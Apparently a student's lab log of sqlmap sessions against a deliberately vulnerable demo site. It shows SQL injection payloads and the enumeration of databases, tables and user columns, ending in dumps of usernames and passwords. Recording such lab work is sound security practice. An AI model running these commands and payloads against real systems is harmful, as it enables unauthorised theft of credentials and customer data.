LINUX PROJECT CODE
(Uid-24MCC20089)

```
──(kali㉿kali)-[~]
 └─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.8#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 04:02:07 /2024-11-02/

[04:02:08] [INFO] testing connection to the target URL
[04:02:09] [INFO] checking if the target is protected by some kind of WAF/IPS
[04:02:09] [INFO] testing if the target URL content is stable
[04:02:10] [INFO] target URL content is stable
[04:02:10] [INFO] testing if GET parameter 'artist' is dynamic
[04:02:10] [INFO] GET parameter 'artist' appears to be dynamic
[04:02:11] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible
DBMS: 'MySQL')
[04:02:11] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes?
[Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)
values? [Y/n] y
[04:02:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:02:28] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING
clause' injectable (with --string="sem")
[04:02:28] [INFO] testing 'Generic inline queries'
[04:02:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (BIGINT UNSIGNED)'
[04:02:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT
UNSIGNED)'
[04:02:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXP)'
[04:02:31] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[04:02:31] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (GTID_SUBSET)'
[04:02:33] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[04:02:33] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (JSON_KEYS)'
[04:02:34] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[04:02:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)'
[04:02:35] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)'
[04:02:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)'
[04:02:36] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)'
```

```
[04:02:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[04:02:37] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[04:02:37] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[04:02:38] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[04:02:39] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[04:02:40] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[04:02:40] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[04:02:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[04:02:41] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[04:02:42] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[04:02:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[04:02:43] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[04:02:44] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[04:02:45] [INFO] testing 'MySQL inline queries'
[04:02:45] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[04:02:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[04:02:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[04:02:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[04:02:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[04:02:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[04:02:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[04:03:01] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[04:03:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:03:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:03:02] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[04:03:04] [INFO] target URL appears to have 3 columns in query
[04:03:08] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 3786=3786

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2060 FROM (SELECT(SLEEP(5)))tCWc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9216 UNION ALL SELECT CONCAT(0x716b767671,0x4e4b464b437157776f597753534c536944624d4f70486476575272696e647979784a426341426f75,0x7176787171),NULL,NULL-- -
---
[04:03:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[04:03:40] [INFO] fetching database names
```

```
available databases [2]:
[*] acuart
[*] information_schema

[04:03:41] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[04:03:41] [WARNING] your sqlmap version is outdated

[*] ending @ 04:03:41 /2024-11-02/


┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 04:04:50 /2024-11-02/

[04:04:51] [INFO] resuming back-end DBMS 'mysql'
[04:04:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 3786=3786

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2060 FROM (SELECT(SLEEP(5)))tCWc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9216 UNION ALL SELECT
CONCAT(0x716b767671,0x4e4b464b437157776f597753534c536944624d4f70486476575272696e6479797
84a426341426f75,0x7176787171),NULL,NULL-- -
---
[04:04:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[04:04:52] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[04:04:53] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[04:04:53] [WARNING] your sqlmap version is outdated

[*] ending @ 04:04:53 /2024-11-02/


┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.8#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 04:06:04 /2024-11-02/

[04:06:05] [INFO] resuming back-end DBMS 'mysql'
[04:06:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 3786=3786

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2060 FROM (SELECT(SLEEP(5)))tCWc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9216 UNION ALL SELECT
CONCAT(0x716b767671,0x4e4b464b437157776f597753534c536944624d4f70486476575272696e6479797
84a426341426f75,0x7176787171),NULL,NULL-- -
---
[04:06:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[04:06:06] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[04:06:06] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[04:06:06] [WARNING] your sqlmap version is outdated

[*] ending @ 04:06:06 /2024-11-02/


┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --downloads
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.8#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

sqlmap: error: no such option: --downloads
[04:09:06] [WARNING] your sqlmap version is outdated

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 04:09:27 /2024-11-02/

[04:09:27] [INFO] resuming back-end DBMS 'mysql'
[04:09:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 3786=3786

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2060 FROM (SELECT(SLEEP(5)))tCWc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9216 UNION ALL SELECT
CONCAT(0x716b767671,0x4e4b464b437157776f597753534c536944624d4f7048647657527269 6e647979784a426341426f75,0x7176787171),NULL,NULL-- -
---
[04:09:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[04:09:28] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+
| uname |
+-------+
| test  |
+-------+

[04:09:30] [INFO] table 'acuart.users' dumped to CSV file
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[04:09:30] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[04:09:30] [WARNING] your sqlmap version is outdated

[*] ending @ 04:09:30 /2024-11-02/


┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.8#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:10:06 /2024-11-02/

[04:10:06] [INFO] resuming back-end DBMS 'mysql'
[04:10:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 3786=3786

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2060 FROM (SELECT(SLEEP(5)))tCWc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9216 UNION ALL SELECT
CONCAT(0x716b767671,0x4e4b464b437157776f597753534c536944624d4f70486476575272696e6479797
84a426341426f75,0x7176787171),NULL,NULL-- -
---
[04:10:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[04:10:08] [INFO] fetching entries of column(s) 'pass' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+------+
| pass |
+------+
| test |
+------+

[04:10:10] [INFO] table 'acuart.users' dumped to CSV file
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[04:10:10] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[04:10:10] [WARNING] your sqlmap version is outdated
```